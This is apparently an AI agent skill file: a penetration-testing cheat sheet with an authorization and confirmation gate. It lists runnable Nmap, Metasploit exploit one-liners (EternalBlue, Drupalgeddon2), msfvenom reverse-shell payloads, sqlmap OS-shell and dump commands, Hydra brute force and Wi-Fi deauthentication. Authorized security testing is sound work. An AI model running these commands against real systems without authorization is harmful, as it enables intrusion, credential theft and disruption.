⚠️ AUTHORIZED USE ONLY
This skill is for educational purposes or authorized security assessments only.
You must have explicit, written permission from the system owner before using this tool.
Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Pentest Commands
Purpose
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Inputs/Prerequisites
- Kali Linux or penetration testing distribution
- Target IP addresses with authorization
- Wordlists for brute forcing
- Network access to target systems
- Basic understanding of tool syntax
Outputs/Deliverables
- Network enumeration results
- Identified vulnerabilities
- Exploitation payloads
- Cracked credentials
- Web vulnerability findings
Core Workflow
1. Nmap Commands
Host Discovery:
bash
# Ping sweep
nmap -sP 192.168.1.0/24
# List IPs without scanning
nmap -sL 192.168.1.0/24
# Ping scan (host discovery)
nmap -sn 192.168.1.0/24
Port Scanning:
bash
# TCP SYN scan (detectable; not a guarantee of stealth)
nmap -sS 192.168.1.1
# Full TCP connect scan
nmap -sT 192.168.1.1
# UDP scan
nmap -sU 192.168.1.1
# All ports (1-65535)
nmap -p- 192.168.1.1
# Specific ports
nmap -p 22,80,443 192.168.1.1
Service Detection:
bash
# Service versions
nmap -sV 192.168.1.1
# OS detection
nmap -O 192.168.1.1
# Comprehensive scan
nmap -A 192.168.1.1
# Skip host discovery
nmap -Pn 192.168.1.1
NSE Scripts:
bash
# Vulnerability scan
nmap --script vuln 192.168.1.1
# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1
# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1
# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1
# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1
# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1
# FTP anonymous
nmap --script ftp-anon 192.168.1.1
# DNS brute force
nmap --script dns-brute 192.168.1.1
# HTTP methods
nmap -p80 --script http-methods 192.168.1.1
# HTTP headers
nmap -p80 --script http-headers 192.168.1.1
# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1
Advanced Scans:
bash
# Xmas scan
nmap -sX 192.168.1.1
# ACK scan (firewall detection)
nmap -sA 192.168.1.1
# Window scan
nmap -sW 192.168.1.1
# Traceroute
nmap --traceroute 192.168.1.1
2. Metasploit Commands
Basic Usage:
bash
# Launch Metasploit
msfconsole
# Search for exploits
search type:exploit name:smb
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
# Show options
show options
# Set target
set RHOST 192.168.1.1
# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp
# Run exploit
exploit
Common Exploits:
bash
# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
Scanners:
bash
# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
Handler Setup:
bash
# Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
Payload Generation (msfvenom):
bash
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
3. Nikto Commands
bash
# Basic scan
nikto -h http://192.168.1.1
# Comprehensive scan
nikto -h http://192.168.1.1 -C all
# Output to file
nikto -h http://192.168.1.1 -output report.html
# Plugin-based scans
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
# Export to Metasploit
nikto -h http://192.168.1.1 -Format msf+
# Specific tuning
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
4. SQLMap Commands
bash
# Basic injection test
sqlmap -u "http://192.168.1.1/page?id=1"
# Enumerate databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
# Enumerate tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
# Dump table
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
# OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
# POST request
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
# Cookie injection
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
# Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
# Risk and level
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
5. Hydra Commands
bash
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# HTTP Basic Auth
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
# SMB brute force
hydra -l admin -P passwords.txt smb://192.168.1.1
# RDP brute force
hydra -l admin -P passwords.txt rdp://192.168.1.1
# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.1
# Username list
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
6. John the Ripper Commands
bash
# Crack password file
john hash.txt
# Specify wordlist
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Show cracked passwords
john hash.txt --show
# Specify format
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt
# SSH key passphrase
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# ZIP password
zip2john file.zip > zip_hash.txt
john zip_hash.txt
7. Aircrack-ng Commands
bash
# Monitor mode
airmon-ng start wlan0
# Capture packets
airodump-ng wlan0mon
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Deauth attack
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
8. Wireshark/Tshark Commands
bash
# Capture traffic
tshark -i eth0 -w capture.pcap
# Read capture file
tshark -r capture.pcap
# Filter by protocol
tshark -r capture.pcap -Y "http"
# Filter by IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
# Extract HTTP data
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
Quick Reference
Common Port Scans
bash
# Quick scan
nmap -F 192.168.1.1
# Full comprehensive
nmap -sV -sC -A -p- 192.168.1.1
# Fast with version
nmap -sV -T4 192.168.1.1
Hashcat Numeric Modes (not John format names)
| Mode | Type | |
|---|
| 0 | MD5 | |
| 100 | SHA1 | |
| 1000 | NTLM | |
| 1800 | sha512crypt | |
| 3200 | bcrypt | |
| 13100 | Kerberoast | |
Assessment limits
Select individual NSE scripts after reviewing their effects; the vuln category can include intrusive checks. Database dumping, OS shells, credential attempts and wireless deauthentication require their own approved scope and stop conditions. Avoid collecting real user records when a minimal synthetic proof suffices. Bound attempts and traffic, protect credential/capture files, and define cleanup before generating payloads. A missing scan finding is not proof that a target is secure.
Constraints
- Always have written authorization
- Some scans are noisy and detectable
- Brute forcing may lock accounts
- Rate limiting affects tools
Examples
Example 1: Quick Vulnerability Scan
bash
nmap -sV --script vuln 192.168.1.1
Example 2: Web App Test
bash
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
Troubleshooting
| Issue | Solution | |
|---|
| Scan too slow | Check the approved rate and test window; increase timing only within those limits | |
| Ports filtered | Try different scan types | |
| Exploit fails | Check target version compatibility | |
| Passwords not cracking | Try larger wordlists, rules | |
When to Use
This skill is applicable to execute the workflow or actions described in the overview.